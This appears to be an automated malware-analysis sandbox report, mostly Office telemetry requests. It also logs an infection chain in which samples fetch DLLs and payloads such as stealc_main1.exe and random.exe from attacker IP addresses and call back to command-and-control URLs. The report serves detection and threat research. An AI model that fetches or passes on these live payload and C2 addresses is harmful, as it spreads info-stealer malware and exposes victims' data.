Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/stealc_main1.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 31.177.109.184Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: 2bb39d7142.exe, 0000001F.00000003.2709941051.0000000007442000.00000004.00001000.00020000.00000000.sdmp, 2bb39d7142.exe, 0000001F.00000002.2728861049.0000000001193000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://.css
Source: 2bb39d7142.exe, 0000001F.00000003.2709941051.0000000007442000.00000004.00001000.00020000.00000000.sdmp, 2bb39d7142.exe, 0000001F.00000002.2728861049.0000000001193000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://.jpg
Source: file.exe, 00000000.00000002.1984371781.00000000014AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1984371781.0000000001509000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.1984371781.00000000014AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1980650444.0000000000A07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1984371781.0000000001509000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1984371781.0000000001509000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/(
Source: file.exe, 00000000.00000002.1984371781.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1984371781.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllZ
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllt
Source: file.exe, 00000000.00000002.1984371781.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.1984371781.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllY
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1984371781.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1984371781.0000000001509000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.1984371781.0000000001509000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1980650444.0000000000A07000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2010447472.0000000023AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2010447472.0000000023AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2L
Source: file.exe, 00000000.00000002.1984371781.0000000001509000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpM
Source: file.exe, 00000000.00000002.2010447472.0000000023AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpX#J
Source: file.exe, 00000000.00000002.1980650444.0000000000A07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.1984371781.0000000001509000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1984371781.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.1980650444.0000000000A07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ocal
Source: skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001B.00000002.2731009858.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php&
Source: skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php01u
Source: skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php32
Source: skotes.exe, 0000001B.00000002.2731009858.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUsers
Source: skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpi
Source: skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpta
Source: skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpy
Source: stealc_main1.exe, 0000001E.00000002.2597602127.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.177.109.184
Source: stealc_main1.exe, 0000001E.00000002.2597602127.000000000065E000.00000004.00000020.00020000.00000000.sdmp, stealc_main1.exe, 0000001E.00000002.2597602127.00000000006AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.177.109.184/
Source: stealc_main1.exe, 0000001E.00000002.2597602127.00000000006AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.177.109.184/0XV
Source: stealc_main1.exe, 0000001E.00000002.2597602127.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.177.109.184/1
Source: stealc_main1.exe, 0000001E.00000002.2597602127.000000000065E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.177.109.184/5
Source: stealc_main1.exe, 0000001E.00000002.2597602127.000000000065E000.00000004.00000020.00020000.00000000.sdmp, stealc_main1.exe, 0000001E.00000002.2597602127.00000000006A2000.00000004.00000020.00020000.00000000.sdmp, stealc_main1.exe, 0000001E.00000002.2597602127.00000000006AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.177.109.184/8331a12a495c21b2.php
Source: stealc_main1.exe, 0000001E.00000002.2597602127.00000000006A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.177.109.184/8331a12a495c21b2.php7O
Source: stealc_main1.exe, 0000001E.00000002.2597602127.00000000006BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.177.109.184/8331a12a495c21b2.phpD
Source: stealc_main1.exe, 0000001E.00000002.2597602127.00000000006AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.177.109.184/NXX
Source: stealc_main1.exe, 0000001E.00000002.2597602127.00000000006AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.177.109.184/ws
Source: skotes.exe, 0000001B.00000002.2731009858.0000000000E5F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe1
Source: skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506238
Source: skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe6
Source: skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe6l
Source: skotes.exe, 0000001B.00000002.2731009858.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2731009858.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2731009858.0000000000EB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/stealc_main1.exe
Source: skotes.exe, 0000001B.00000002.2731009858.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/stealc_main1.exe4
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 2bb39d7142.exe, 0000001F.00000002.2728861049.0000000001193000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: 2bb39d7142.exe, 0000001F.00000002.2734184044.00000000019DE000.00000004.00000020.00020000.00000000.sdmp, 2bb39d7142.exe, 0000001F.00000002.2728861049.0000000001193000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347
Source: 2bb39d7142.exe, 0000001F.00000002.2734184044.00000000019DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347al
Source: 2bb39d7142.exe, 0000001F.00000002.2728861049.0000000001193000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347libgcc_s_dw2-1.dll__register_frame_info__der
Source: 2bb39d7142.exe, 0000001F.00000003.2709941051.0000000007442000.00000004.00001000.00020000.00000000.sdmp, 2bb39d7142.exe, 0000001F.00000002.2728861049.0000000001193000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://html4/loose.dtd
